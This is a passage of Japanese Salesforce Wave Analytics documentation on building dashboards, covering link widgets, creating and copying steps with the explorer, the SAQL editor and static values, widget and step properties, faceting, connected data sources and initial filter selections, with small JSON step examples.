一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

3. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
たとえば、このウィジェットに表示するテキストを入力します。

4. ダッシュボードへの変更をプレビューするには、 をクリックします。
5. ダッシュボードへの変更を保存するには、 をクリックします。
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重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ

リンクウィジェットの追加による Wave レンズやダッシュボードへのリンク付け
考えられるすべての主要業績指標、グラフ、およびテーブルを 1 つのダッシュボードに詰め込むのではなく、
コンテンツを複数のダッシュボードに分割し、リンクウィジェットを使用してダッシュボードを 1 つにまとめ
ることで、ダッシュボード閲覧者は、乱雑なダッシュボードで何に注目すればよいか悩む必要がなくなりま
す。また、リンクを使用してユーザが辿れる分析パスを作成したり、関連するアセットをリンクしたりするこ
ともできます。
1. リンクウィジェットをダッシュボードキャンバスにドラッグします。
2. ウィジェットのプロパティを変更するには、ウィジェットをクリックします。

[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのため、
一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれている可能
性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある矢印をクリッ
クします。

3. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。
たとえば、リンク先のレンズまたはダッシュボードを指定します。ダッシュボードの検索条件の選択内容
がリンク先のアセットに渡されるかどうかを指定します。たとえば、ダッシュボードにオープンケースの
みが表示されているとします。リンクをクリックすると、リンク先のダッシュボードに同じ選択条件が適
用され、オープンケースのみが表示されます。

4. ダッシュボードへの変更をプレビューするには、 をクリックします。
5. ダッシュボードへの変更を保存するには、 をクリックします。
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重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ

Wave ダッシュボードデザイナでのステップの作成
探索からレンズをクリップすることのほか、Wave ダッシュボードデザイナでステップを作成することができ
ます。ステップは、ウィザードの使用と手動の 2 種類の方法で作成できます。
ウィジェットウィザードでは、ウィジェットの最小要件を満たす基本的なステップを作成します。複数の基準
があるステップや、SAQL クエリをカスタマイズしたステップなど、より堅牢なステップが必要な場合は独自
に手動で作成します。どちらの方法を選ぶかは、どの程度の柔軟性を要するかによって異なります。
ID はわかりづらい場合もあるため、ステップ表示ラベルを追加できます。たとえば、「成立した商談金額」表
示ラベルをステップ ID「Amount_1」に追加できます。Wave では表示ラベルに基づいてステップ ID が生成され
るため、ステップの作成時に表示ラベルを指定してください。ステップを作成した後でも表示ラベルを変更で
きますが、JSON を編集しない限り ID を変更することはできません。

ヒント: クエリを作成しても Wave での実行に時間がかかるのであれば、データフローで計算を実行して、
クエリの結果がすぐに得られるようにします。データフローによって結果がデータセットに保存される
ため、事前計算された値をすばやく取得できます。

Wave ダッシュボードのウィジェットのステップ
一部のウィジェットはステップを必要とします。ステップはクエリと同様に結果を返します。ウィジェッ
トは結果の表示方法を決定します。たとえば、ステップで商談金額の平均を地域ごとに計算するとします。
ウィジェットに結果が棒グラフで表示され、それぞれの棒が各地域の金額の平均を表します。Wave ダッ
シュボードデザイナのほとんどのウィジェットには、ウィジェットとそのステップを作成するために使用
できるウィジェットがあります。また、独自のステップを作成してウィジェットに適用することもできま
す。
エクスプローラを使用したステップの作成
ウィジェットウィザードを使用してステップを作成する代わりに、エクスプローラを使用して独自のステッ
プを作成できます。ウィジェットウィザードの場合とは異なり、複数の基準を追加するなど、各自のステッ
プをカスタマイズできます。
SAQL エディタを使用したステップの作成
SAQL エディタを使用して、ステップのクエリをカスタマイズできます。SAQL クエリステップは、ウィジェッ
トウィザードやエクスプローラで作成されるステップよりも堅牢です。たとえば、2 つのデータセットにク
エリを実行する SAQL クエリを記述できます。
カスタム値を使用する静的ステップの作成
静的ステップを使用して、カスタム値をその他のステップクエリの検索条件、グループ、基準、並び替え
順、制限に適用できます。たとえば、設定したケースの優先度の高、中、低の値に基づいてケースレコー
ドを絞り込む切り替えウィジェットを作成できます。そして、ケースの優先度の決定に使用するロジック
を定義できます。
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ステップのコピー
ステップをコピーして、既存のステップから新しいステップをすばやく作成します。コピーは、既存のス
テップを微調整して再利用する場合に役立ちます。

Wave ダッシュボードのウィジェットのステップ
一部のウィジェットはステップを必要とします。ステップはクエリと同様に結果を返します。ウィジェットは
結果の表示方法を決定します。たとえば、ステップで商談金額の平均を地域ごとに計算するとします。ウィ
ジェットに結果が棒グラフで表示され、それぞれの棒が各地域の金額の平均を表します。Wave ダッシュボー
ドデザイナのほとんどのウィジェットには、ウィジェットとそのステップを作成するために使用できるウィ
ジェットがあります。また、独自のステップを作成してウィジェットに適用することもできます。
Wave ダッシュボードデザイナで、「レンズ」と「ステップ」はよく似ていますが、同じではありません。ど
ちらにも結果の計算に使用するクエリがあります。ただし、レンズにはステップと異なり、可視化が含まれる
ほか、スタンドアロンアセットとしてアプリケーションに保存できます。たとえば、レンズは、クエリの結果
をタイムライングラフやテーブル比較として表示できます。
ウィジェットは、次のいずれかのステップタイプを使用をして作成できます。
クエリステップ

ほとんどのステップはクエリステップです。クエリステップには、1 つ以上のデータセットに対する SAQL

クエリが含まれます。クエリステップはさまざまな方法で作成できます。
1 つのデータセットにクエリを実行する場合は、エクスプローラを使用できます。基準を計算し、日付また
はディメンションで結果をグループ化して、データセットの項目を基にレコードを絞り込むことができま
す。次に、グラフウィジェットに値を入力する、エクスプローラで作成されたステップの例を示します。

より堅牢な SAQL クエリステップを作成する場合は、SAQL エディタを使用します。たとえば、SAQL エディ
タでは複数のデータセットを基に SAQL クエリを作成できますが、エクスプローラではこうしたことはでき
ません。次のステップはグラフウィジェットを作成します。
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SAQL クエリの作成についての詳細は、『Wave Analytics SAQL リファレンス』を参照してください。
静的ステップ

静的ステップはクエリステップほど多くはありません。このステップはデータにクエリを実行するのでは
なく、ユーザ定義値の静的リストを示します。たとえば、切り替えウィジェットに「$」「#」「AVG」の静
的な値を表示できます。切り替えウィジェットをダッシュボードの他のウィジェットと連動させるには、
静的な値をダッシュボードの他のウィジェットのステップにバインドします。たとえば、「$」と「#」を
バインドして、「$」は商談の値、「#」は商談の数というように異なる基準を示すことができます。この
例では、切り替えウィジェットで「$」が選択され、ダッシュボードに商談の値が示されています。

詳細は、「カスタム値を使用する静的ステップの作成」を参照してください。
ステップをファセットして、ダッシュボードの対応するウィジェットとの対話性を高めることができます。検
索条件がファセットされたステップに適用されると、その同じ検索条件が他のファセットされたステップにも
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適用されます。たとえば、日付ウィジェットで前年を選択すると、ダッシュボードの他のウィジェットにも前
年のみの結果が示されます。ファセットはステップごとオンにできます。

関連トピック:

Wave ダッシュボードデザイナでのステップの作成

エクスプローラを使用したステップの作成
ウィジェットウィザードを使用してステップを作成する代わりに、エクスプローラを使用して独自のステップ
を作成できます。ウィジェットウィザードの場合とは異なり、複数の基準を追加するなど、各自のステップを
カスタマイズできます。
エクスプローラを使用してステップを作成する 1 つの方法は、探索した内容をダッシュボードにクリップする
ことです。この方法についての詳細は、「ダッシュボードへのレンズのクリップ」を参照してください。ス
テップをデザイナから作成することもでき、ここではその方法を説明します。
1. ステップパネルを開くには、ダッシュボードヘッダーをクリックします。
2. [ステップを作成] をクリックします。

[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。

3. ステップに含めるデータがあるデータセットを選択します。データセットを見つけるのが難しい場合は、
検索ボックスに入力します。
エクスプローラが表示され、デフォルトで [行数] 基準が示されます。
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4. ステップ表示ラベルの横にある をクリックします。
5. ステップ表示ラベルを入力します。
6. ウィジェットに表示する基準を追加します。

基準を追加するには、 をクリックします。基準を変更するには、エクスプローラで基準を選択
して、新しい基準を選択します。
基準は必要なだけ追加できます。複数の基準を追加する場合は、ステップのプロパティを設定して、どの
基準をウィジェットに表示するかを指定できます。

7.

日付またはディメンションで基準をグループ化するには、 をクリックします。
複数のグループを追加できます。グルーピングを変更するには、グルーピングをクリックして新しい項目
を選択します。グルーピングを並び替えるには、グルーピングをクリックして、[左に移動]または [右に移
動] をクリックします。
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8. 必要に応じて、[絞り込み] をクリックして結果を絞り込みます。
複数の検索条件を追加できます。

9.

ステップのグラフの種類を変更するには、 をクリックします。
この設定は、ウィジェットのプロパティでグラフの種類を設定しない場合にのみ適用されます。ウィジェッ
トのプロパティは、この設定を上書きします。

10. 結果を並べ替える、対数スケールを使用して結果を表示する、または SAQL クエリを表示するには、 を
クリックします。
SAQL クエリの表示時に、編集して、エクスプローラによって生成されたクエリを上書きできます。SAQL ク
エリステップについての詳細は、「SAQL エディタを使用したステップの作成」を参照してください。

11. [完了] をクリックします。
Wave がステップをステップパネルに追加して、ダッシュボード内の他のウィジェットが使用できるように
します。

12. [保存] をクリックします。
13. 変更内容が失われないように、ダッシュボードを保存します。

SAQL エディタを使用したステップの作成
SAQL エディタを使用して、ステップのクエリをカスタマイズできます。SAQL クエリステップは、ウィジェッ
トウィザードやエクスプローラで作成されるステップよりも堅牢です。たとえば、2 つのデータセットにクエ
リを実行する SAQL クエリを記述できます。
1. ステップパネルを開くには、ダッシュボードヘッダーをクリックします。
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2. [ステップを作成] をクリックします。
[データセットを選択] 画面が表示され、データセットが最後に使用した順に示されます。

3. クエリに含めるデータがあるデータセットを選択します。データセットを見つけるのが難しい場合は、検
索ボックスに入力します。
エクスプローラが表示され、[行数] 基準が示されます。

4. をクリックします。
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5. [SAQL を表示] オプションで、[オン] をクリックします。
下部に、現在のステップの SAQL クエリが表示されます。

6. SAQL クエリを編集するには、 をクリックします。

7. 必要に応じて、SAQL クエリを編集します。
SAQL エディタには、コンテキスト依存オートコンプリートの提案が表示されます。SAQL エディタで変更を
加えると、[クエリを実行] を選択してエディタでクエリが有効であることが検証されるまで [完了] ボタン
が無効になります。クエリが有効でない場合は、エラーが表示されます。

8. [完了] をクリックします。
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9. グルーピングおよび基準の順序を確定するか変更します。
10. 基準を非表示にするには、その基準をクリックします。もう一度クリックすると表示されます。
11. [完了] をクリックします。

Wave がステップをステップパネルに追加して、ダッシュボード内の他のウィジェットが使用できるように
します。

12. 変更内容が失われないように、ダッシュボードを保存します。

カスタム値を使用する静的ステップの作成
静的ステップを使用して、カスタム値をその他のステップクエリの検索条件、グループ、基準、並び替え順、
制限に適用できます。たとえば、設定したケースの優先度の高、中、低の値に基づいてケースレコードを絞り
込む切り替えウィジェットを作成できます。そして、ケースの優先度の決定に使用するロジックを定義できま
す。

1. Wave ダッシュボードデザイナのステップパネルで、[ステップを作成] をクリックします。
ステップパネルが表示されない場合は、ダッシュボードヘッダーをクリックして表示します。
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2. [カスタム値を使用して静的ステップを作成] をクリックします。

3. ステップ表示ラベルを入力します。
4. それぞれの表示名と値を含む、値のリストを追加します。

メモ: 関連付けられたウィジェットに表示名が示されます。値は省略可能ですが、含めた場合は、そ
の値を他のステップとバインドして、ダッシュボードの他のウィジェットの結果を絞り込むことがで
きます。

5. 静的ステップを作成するには、[作成] をクリックします。
Wave がステップをステップパネルに追加して、ダッシュボード内の他のウィジェットが使用できるように
します。
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6. この静的ステップをリストウィジェットまたは切り替えウィジェットに適用する手順は、次のとおりです。
a. ステップをキャンバスの空いている場所にドラッグします。

デフォルトで、切り替えウィジェットはダッシュボードに追加され、カスタム値を切り替えオプション
として表示します。

b. ウィジェットおよびステップのプロパティを変更するには、ウィジェットをクリックします。
[ウィジェット] パネルでは、ウィジェットプロパティがセクションごとにグループ化されます。そのた
め、一部のプロパティを見落とすことがありません (一部のセクションがデフォルトで折りたたまれて
いる可能性があります)。セクションを展開するまたは折たたむには、セクションヘッダーの横にある
矢印をクリックします。

c. ウィジェットの外観をカスタマイズするには、ウィジェットプロパティを設定します。

メモ:  [基準] ウィジェットプロパティでは、リストオプションの基準を追加した後でのみ値を選択
できます。基準を追加するには、ダッシュボード JSON を編集して、基準を対応するステップに追
加します。

d. ダッシュボードへの変更をプレビューするには、 をクリックします。
e. ダッシュボードへの変更を保存するには、 をクリックします。

重要: 保存せずにダッシュボードを閉じると、変更内容が失われます。

この静的ステップをリストウィジェットまたは切り替えウィジェットに適用すると、ダッシュボードにウィ
ジェットを表示できます。ただし、他のウィジェットには結び付けられていません。リストウィジェットまた
は切り替えウィジェットの選択に基づいてダッシュボードの結果を絞り込むには、カスタム値を他のウィジェッ
トのステップにバインドします。静的ステップのバインドについての詳細は、『Wave Analytics バインド開発者
ガイド』を参照してください。

関連トピック:

Wave ダッシュボードのウィジェットのプロパティ
Wave ダッシュボードのステップのプロパティ

ステップのコピー
ステップをコピーして、既存のステップから新しいステップをすばやく作成します。コピーは、既存のステッ
プを微調整して再利用する場合に役立ちます。

メモ:  1 つの比較テーブル列や静的ステップの SAQL クエリステップはコピーできません。
1. ステップパネルを開くには、ダッシュボードヘッダーをクリックします。
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メモ: グレー表示されたステップをウィジェットに適用することはできません。ただし、それらをコ
ピーしてプロパティを表示することはできます。

2. [すべてのステップ] を選択して、コピーするステップにマウスポインタを置きます。

3.

をクリックします。
コピーしたステップが探索モードで開き、簡単に修正できます。ステップが SAQL を使用して作成されてい
る場合は、コピーが代わりに SAQL エディタで開きます。

4. コピーに変更を行います。
5. [保存] をクリックします。

元のステップ名の先頭に「Clone of」が付加されて、コピーが保存されます。Wave がステップをステップパ
ネルに追加して、ダッシュボード内の他のウィジェットが使用できるようにします。

6. 変更内容が失われないように、ダッシュボードを保存します。
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メモ: ステップをコピーし、その SAQL クエリを編集した場合は、その結果生成される JSON に、基準に適
用される関数が反映されないことがあります。SAQL を実行して保存した後、関数が countに変更されま
す。たとえば、元のステップに次のとおり measures 配列が含まれていた場合に、
"query": {

"measures": [
["max","DailyActiveUsers"]
]

}

SAQL が編集、実行、保存されると、更新された JSON に代わりに次の measures 配列が含まれます。
"query": {

"measures": [
["count","*","max_DailyActiveUsers"]
]

}

この違いがダッシュボードに表示されるデータに影響することはありません。

Wave ダッシュボードのウィジェットのプロパティ
ウィジェットのプロパティは、ウィジェットが Wave ダッシュボードにどのように表示されるかを定義します。
たとえば、表示ラベル、背景、境界線を適用できます。ウィジェットの外観を統一するには、レイアウトにデ
フォルトのウィジェットプロパティを設定して、各ウィジェットに割り当てます。ウィジェットプロパティ
は、ウィジェットタイプやウィジェットの作成に使用するデザイナによって異なります。ここにリストするプ
ロパティは、Wave ダッシュボードデザイナで作成されたウィジェットのみに適用されます。
Wave ではウィジェットのプロパティがセクションにグループ化されます。

一般情報

説明プロパティ

データを視覚化するグラフの種類を選択します。グラフの種類

テーブルがピボットテーブルかどうかを示します。ピボットテーブルには、少な
くとも 1 つのグルーピングが含まれるソースステップが必要です。Wave は、最後

ピボットテーブルとして
表示

に定義されたグルーピングに基づいてテーブルをピボットします。デフォルトで
は無効になっています。

ダッシュボード閲覧者がウィジェットのリンクをクリックして、エクスプローラ
のソースステップを開けるようにします。

[調査] アイコンを表示

ウィジェットのタイトル。タイトル

グラフのサブタイトル。タイトルの下に小さなフォントで表示されます。サブタイトル

タイトルの横方向の配置。タイトルの配置

グラフの配色を設定します。テーマ
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説明プロパティ

検索条件の選択に基づいてダッシュボードの結果をすぐに更新します。このオプ
ションを使用しない場合は、[更新] をクリックして検索条件を適用する必要があ
ります。

すぐに更新

ウィジェットに表示する基準。ソースステップに複数の基準が定義されている場
合は、この項目を使用して表示する基準を指定します。ウィジェットに基準を表
示しない場合もこのオプションを使用します。

基準項目

短縮された数値を表示します (60,499 の代わりに 60 K など)。短縮する数値は四捨五
入されます。

数値を短縮

ウィジェットの表示ラベル。テキスト

ダッシュボード、レンズ、またはステップへのリンク。リンク先

リストまたは切り替えウィジェットの表示値をカスタマイズします。ウィジェッ
トでは、複数の項目の値を表示できます。たとえば、リストウィジェットに営業

表示と形式をカスタマイ
ズ

担当と地域を SalesRepA-West、SalesRepB-West、SalesRepC-North のような値で表示する
と、ユーザはこの 2 つの項目に基づいて絞り込むことができます。また、基準を
値の一部として表示し、表示の形式を設定することもできます。[項目を追加...]

ドロップダウンをクリックし、ステップクエリに定義したグルーピングまたは基
準を選択します。追加の文字をエディタボックスに直接挿入して、表示の形式を
設定できます。たとえば次のように、括弧を追加して基準値を囲むことができま
す。

ソースダッシュボードのグラフ、リスト、切り替え、範囲、日付ウィジェットの
選択内容は、リンク先アセットの選択内容として適用されます。たとえば、リス

選択した検索条件を適用

トウィジェットで [地域] データセット項目に基づいて [北米] を選択するとします。
Wave は、同じデータセットの [地域] 項目に基づいて、ファセットが有効になって
いてグルーピングが設定されているリンク先ダッシュボードのステップに同じ選
択内容を適用します。

画像のファイル名。画像は、ダッシュボードが含まれる Wave アプリケーションの
ギャラリーで使用できる必要があります。このプロパティは、Spring '17 以降に作
成された画像ウィジェットに適用されます。

画像
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説明プロパティ

画像の 15 文字の ID。画像は Salesforce の [ドキュメント] タブにアップロードする必
要があり、[外部参照可] オプションを有効にする必要があります。このプロパティ
は、Spring '17 より前に作成された画像ウィジェットに適用されます。

画像 ID

画像の適合方法を指定します。画像のスケール

画像の縦方向および横方向の配置。画像の配置

テーブルウィジェットのアクションメニューにカスタム一括アクションを表示す
るように設定したウィジェットのプロパティを表示します。

カスタムアクションを表
示

テーブルウィジェットのアクションメニューのボタンの表示ラベルを表示しま
す。ダッシュボード閲覧者は、ボタンをクリックしてアクションを実行します。

カスタムアクション表示
ラベル

一括アクションを定義する Visualforce ページの名前。Visualforce ページ名

省略可能。一括アクションを定義する Visualforce ページの名前空間プレフィック
ス。

Visualforce 名前空間プレ
フィックス

グラフの詳細

説明プロパティ

滝グラフまたは積み上げ滝グラフのすべてのセグメントを基に合計を計算しま
す。

合計を計算

グラフの各棒の基準値を表示します。グラフの棒に値を表示

積み上げられたグループの全体に対するパーセント値を示します。値を正規化

複数の基準をグラフにどのように表示するかを指定します。軸モード

次のいずれかの値を選択できます。
単一軸

すべての基準を同じ軸に表示します。
二軸

最初の基準を独自の軸に示し、残りの基準を別の軸に表示します。
小さい複数

各基準を個々のグラフに表示します。

グラフ全体をウィジェットに適合させます。適合させない場合は、必要に応じて
グラフをスクロールして残りの部分を表示します。

自動調整

次のいずれかの値を選択できます。
なし

スケールが適用されません。グラフがウィジェットよりも大きい場合はスク
ロールバーが表示されます。
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説明プロパティ

調整
ウィジェットに合わせてグラフにスケールを指定します。

表示ラベルを保持
ウィジェットに合わせてグラフにスケールを指定すると同時に、表示ラベル
が重ならないようにします。グラフがウィジェットよりも大きい場合はスク
ロールバーが表示されます。

データの欠損に関係なく、データポイントをつなげるかどうかを指定します。欠損値の処理

次のいずれかの値を選択できます。
結合

欠損値を無視して連続的なグラフを表示します。
非結合

値が欠損している部分はグラフを空白にします。

タイムライングラフの下の領域を塗りつぶします。領域を塗りつぶす

線上にデータポイントを示します。点を表示

じょうごグラフのステムに表示する値の数。ステムセグメントの数

評価グラフに使用するアイコン。アイコン

各評価に表示するアイコン数。アイコン数

値の表示方法を指定します。値の表示形式

次のいずれかの値を選択できます。
なし

値を示しません。
数値

数値を示します。
コンパクト数値

文字のサフィックスを使用してコンパクトにした数値を示します。
パーセント

全体に対するパーセントを示します。

各評価の最大基準値を表示します。最大値を表示

各評価の左側に基準値を表示します。デフォルトは右側です。値を左に表示

グラフに基準のタイトルを表示します。基準タイトルを表示

グラフに基準の軸を表示します。基準軸を表示
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説明プロパティ

基準のタイトルに合計を表示します。合計をタイトルに表示

ドーナツグラフの中央に基準の合計を表示します。合計を中央に表示

ドーナツグラフのパーセント値または中心円の作成に使用する極座標ゲージ。中央のサイズ

対応付けの種別を選択します。地図の種類

グラフの種類に応じて、低値と高値の色や、開始値、合計値、正の値、負の値の
色を指定します。

色

Date

説明プロパティ

日付ウィジェットに表示されるデフォルトの日付モード (絶対日付または相対日
付) を指定します。

デフォルトの日付モード

ダッシュボード閲覧者が日付ウィジェットで絶対日付と相対日付を切り替えるこ
とができるかどうかを指定します。

日付モードの切り替えを
許可

日付ウィジェットに表示される日付のデフォルトのカレンダー種別 (カレンダー
年または会計年度) を指定します。

デフォルトのカレンダー
種別

ダッシュボード閲覧者が日付ウィジェットで会計年度とカレンダー年を切り替え
ることができるかどうかを指定します。

カレンダー種別の切り替
えを許可

X 軸、Y 軸、左軸、中央軸

説明プロパティ

軸を 0 から開始します。軸を 0 で開始

軸を表示します。軸を表示

軸のタイトルを表示します。タイトルを表示

軸のタイトルを入力します。デフォルトのタイトルは、X 軸がディメンションの
名前で、Y 軸が基準の名前です。基準が複数ある場合は、カンマ区切りリストで
表示されます。

タイトル

基準線を表示します。この線を使用して、グラフにしきい値、境界、基準点を表
示できます。X 軸の基準線は垂直で、Y 軸の基準線は水平です。

基準線

凡例

説明プロパティ

グラフの凡例を表示します。凡例を表示
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説明プロパティ

凡例のヘッダーを表示します。凡例のヘッダーを表示

凡例をグラフ領域内に表示して、凡例に必要なスペースを省きます。凡例がグラ
フと重なる場合があります。

グラフ領域内に凡例を表
示

グラフウィジェット内の凡例の位置。位置

BreakPoints

説明プロパティ

ローレンジ色のバンドの最小値。最少

ローレンジ色とミドルレンジ色を区別する値。中

ミドルレンジ色とハイレンジ色を区別する値。高

ハイレンジ色のバンドの最大値。最大

バンドの色

説明プロパティ

低域バンドの色のレンジ。低域バンド

中域バンドの色のレンジ。中域バンド

高域バンドの色のレンジ。高域バンド

Trellis

説明プロパティ

グルーピングに基づいて個別のグラフを作成します。Trellis として表示

Trellis の種別を選択します。この種別はグラフの表示方法に影響します。Type

次のいずれかの値を選択できます。
横方向

1 つ目のグルーピングの各値のグラフで横方向に区切ります。
縦方向

1 つ目のグルーピングの各値のグラフで縦方向に区切ります。
マトリックス

グラフをテーブルに表示します。1 つ目のグループピングが列、2 つ目のグルー
プピングが行に示されます。
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説明プロパティ

折り返し
1 つ目のグループピングの各値のグラフを、行ごとの設定で指定された値で折
り返して 1 行ずつ表示します。

Trellis で複数の行に折り返される場合の 1 行あたりのグラフ数。行あたりのグラフ数

テキストスタイル

説明プロパティ

テキストの色。テキストの色

テキストのサイズ。サイズ

数字の色。数字の色

数字のサイズ。数字のサイズ

タイトルの色。タイトルの色

タイトルのサイズ。タイトルサイズ

テキストの横方向の配置。位置揃え

背景画像

説明プロパティ

画像のファイル名。画像は、ダッシュボードが含まれる Wave アプリケーションの
ギャラリーで使用できる必要があります。このプロパティは、Spring '17 以降に作
成されたコンテナウィジェットに適用されます。

画像

画像の 15 文字の ID。画像は Salesforce の [ドキュメント] タブにアップロードして、
[外部参照可] オプションを有効にする必要があります。このプロパティは、Spring

'17 より前に作成されたコンテナウィジェットに適用されます。

画像 ID

画像の適合方法を指定します。画像のスケール

画像の縦方向および横方向の配置。画像の配置

ウィジェットスタイル

説明プロパティ

ダッシュボードのプロパティで定義されたデフォルトのウィジェットプロパティ
を使用します。

デフォルトを使用

ウィジェットの背景色。背景色
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説明プロパティ

ウィジェットの境界線。境界線

ウィジェットの境界線の色。境界線の色

ウィジェットの境界線の幅 (ピクセル単位)。境界線の幅

ウィジェットの境界線の角部の丸み。境界線の半径

Wave ダッシュボードのステップのプロパティ
ステップのプロパティは、ウィジェットに表示される結果を返すクエリを定義します。また、Wave ダッシュ
ボードでウィジェットがどのように動作し、他のウィジェットとどのように連動するかも指定します。プロパ
ティは、Wave ダッシュボードデザイナで作成されたダッシュボードのみに適用されます。

説明プロパティ

ステップ表示ラベル。ステップの説明ラベルを入力す
るために使用します。

表示ラベル

このステップで他のステップをファセットしたり、他
のステップでこのステップをファセットしたりできま

ファセット

す。ファセットとは、ウィジェットでの選択内容に
よってダッシュボード内の他のステップを絞り込むこ
とです。デフォルトでは、同じデータセットからのス
テップがファセットされます。異なるデータセットか
らのステップをファセットするには、データソースを
接続します。

グローバル検索条件をこのステップに適用します。グローバル検索条件を適用

関連付けられたウィジェットでダッシュボード閲覧者
が 1 つの選択を行えるか複数の選択を行えるかを指定

選択種別

します。選択が必須かどうかも指定できます。選択が
必須の場合は、[初期検索条件]ステッププロパティで
最初の選択を設定します。選択が必須だが設定されて
いない場合は、Wave によってリストの最初の値が選
択されます。

ダッシュボードを開いたときに適用される初期検索条
件を表示します。初期検索条件を設定するには、[選

初期検索条件

択種別] ステッププロパティで先に選択を有効にして
おく必要があります。ステップの初期検索条件を設定
するには、 をクリックして、[初期検索条件を選
択] を選択します。ウィジェットで行った選択によっ
て、ソースステップが絞り込まれ、ステップがファ
セットされている他のウィジェットもすぐに絞り込ま
れます。
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ファセットまたはバインドを使用したウィジェットのインタラクティブ化
Wave ダッシュボードには、ウィジェットをインタラクティブにできる独自の機能があります。たとえば、リ
ストウィジェットで領域を選択すると、ダッシュボードの他のウィジェットが絞り込まれ、その領域の結果の
みが表示されます。

ファセット
ファセットは、ウィジェット間のインタラクションを指定するための最も簡単かつ一般的な方法です。ウィ
ジェットは、関連付けられたステップのファセットを有効にするだけでリンクできます。ファセットを設定す
ると、1 つのウィジェットで選択した内容によって、同じデータセットからのステップを使用して他のすべて
のウィジェットが自動的に絞り込まれます。ファセットは双方向です。2 つのウィジェットで同じデータセッ
トのステップを使用している場合、一方のウィジェットを更新すると、もう一方のウィジェットの更新もトリ
ガされます (逆も同様)。ステップのファセットを有効にするには、ステップのプロパティを編集します。

バインド
バインドは、ダッシュボードウィジェット間のインタラクションを指定するためのもう 1 つの方法です。バイ
ンドは、ファセットに比べてプログラム的で、より多くの方法でインタラクションを指定できます。バインド
を使用する場合、ステップのデータを参照し、そのデータを使用してクエリやウィジェットのプロパティを設
定または変更します。たとえば、バインドを使用して各種データセットのステップで相互に絞り込むことがで
きます。バインドを使用すれば、ステップの結果に基づいて、数値ウィジェットの数値の色を動的に変更して
低い値と高い値を強調表示することもできます。バインドは一方向であるため、他のウィジェットを更新する
ウィジェットを指定できます。
バインドについての詳細は、『Wave Analytics バインド開発者ガイド』を参照してください。

接続されたデータソースを使用したデータセット間のファセットの設定
同じデータセットからの各ステップは、デフォルトでファセットされます。つまり、自動的に相互に絞り
込まれます。異なるデータセットからのステップまたは Wave デザイナダッシュボードの静的ステップを
ファセットするには、それらを接続します。以前は、JSON を変更し、バインドを使用してこれらのステッ
プをファセットする必要がありました。

関連トピック:

Wave ダッシュボードデザイナでのステップの作成
Wave ダッシュボードのウィジェットのステップ

接続されたデータソースを使用したデータセット間のファセットの設定
同じデータセットからの各ステップは、デフォルトでファセットされます。つまり、自動的に相互に絞り込ま
れます。異なるデータセットからのステップまたは Wave デザイナダッシュボードの静的ステップをファセッ
トするには、それらを接続します。以前は、JSON を変更し、バインドを使用してこれらのステップをファセッ
トする必要がありました。

メモ: 日付と基準範囲を指定する静的ステップを接続することはできません。
1. をクリックして、ダッシュボードを編集します。
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2. をクリックして、[データソースに接続] を選択します。
3. [新しい接続] をクリックします。

4. 接続の名前を入力します。
5. [データソース 1 を選択] をクリックして、最初のデータソースを選択します。データソースごとに、ダッ

シュボードで使用するデータセットまたは静的ステップを選択します。
6. また、指定したソース間でレコードを一致できるようにデータソースから 1 つの項目を選択します。

メモ: ファセットは、接続を定義するために使用した項目に対してのみ機能します。たとえば、次の
スクリーンショットの接続は StageName 項目に基づきます。その結果、StageName リストウィジェット
が棒グラフにファセットされます。Account.Type リストウィジェットで選択が行われた場合、ファセッ
トは発生しません。つまり、結果は絞り込まれません。Account.Type 項目でファセットを有効にするに
は、同じデータソースを使用してこの項目に基づく別の接続を定義します。
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7. [データソース2 を選択] をクリックして 2 番目のソースを選択し、項目を選択します。
8. 別のデータソースを追加するには、[データソースを追加] をクリックします。このオプションは、2 つの

データソースが接続された後に表示されます。
2 つ以上のデータソースを接続できます。

9. [保存] をクリックします。

メモ: 以前にデータセットとディメンションを静的ステップの定義に追加して別のステップとファセット
した場合、Wave はそれらの間にデータソース接続を作成します。また、データセットとディメンション
をステップの定義から削除します。

ダッシュボードの初期検索条件選択の設定
Wave ダッシュボードに検索条件選択ウィジェットまたはグラフが含まれている場合、ダッシュボードを初め
て開いたときに適用される初期検索条件を設定できます。たとえば、ダッシュボードを絞り込んでログイン
ユーザが所有する商談のみを表示できます。ユーザはダッシュボードの表示中に、選択を変更して、結果を異
なる方法で絞り込むことや、検索条件をまとめて削除することができます。
ウィジェットで検索条件を選択する必要がある場合、初期選択を設定する必要があります。設定しない場合、
ダッシュボードを開いたときに Wave によって最初の検索条件値が選択されます。
1. ダッシュボードの編集時に、 をクリックしてから [初期検索条件を選択] を選択します。

Wave によってダッシュボードがプレビューされます。
2. グラフ、リスト、切り替え、日付、範囲ウィジェットで選択を行います。
3. [完了] をクリックします。

Wave によって選択内容がウィジェットステップの開始値として保存されます。ステップのプロパティで初
期検索条件選択を表示できます。
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メモ: 初期値を選択する場合、リストウィジェットには最大 2,000 個の値を表示できます。値が結果に表
示されていない場合、返される結果の最大数を 10,000 個に増やすことができます。これを行うには、次の
ようにダッシュボード JSON のステップ定義に limit 属性を追加します。
"Account_Name_1": {

"type": "aggregateflex",
"visualizationParameters": {

"visualizationType": "hbar",
"options": {}

},
"query": {

"groups": [ "Account.Name" ],
"measures": [

[
"count",
"*"

]
],
"limit":10000

},
"datasets": [

{
"name": "opportunity6",
"url": "/services/data/v38.0/wave/datasets/0FbB00000000pmfKAA",
"id": "0FbB00000000pmfKAA"

}
],
"isFacet": true,
"isGlobal": false,
"useGlobal": true

}

4714

Wave ダッシュボードの構築分析



ログインユーザに基づいた初期検索条件選択の動的な設定
初期検索条件選択を設定して、ログインユーザに関連する情報を表示できます。たとえば、各営業担当に
それぞれの営業商談と営業パフォーマンスのみが表示されるように営業ダッシュボードを絞り込むことが
できます。ログインユーザのユーザ ID、ユーザ名、ロール ID、ロール名に基づいて初期検索条件選択を設
定できます。

関連トピック:

ユーザが結果を絞り込むことができる検索条件選択ウィジェットの追加

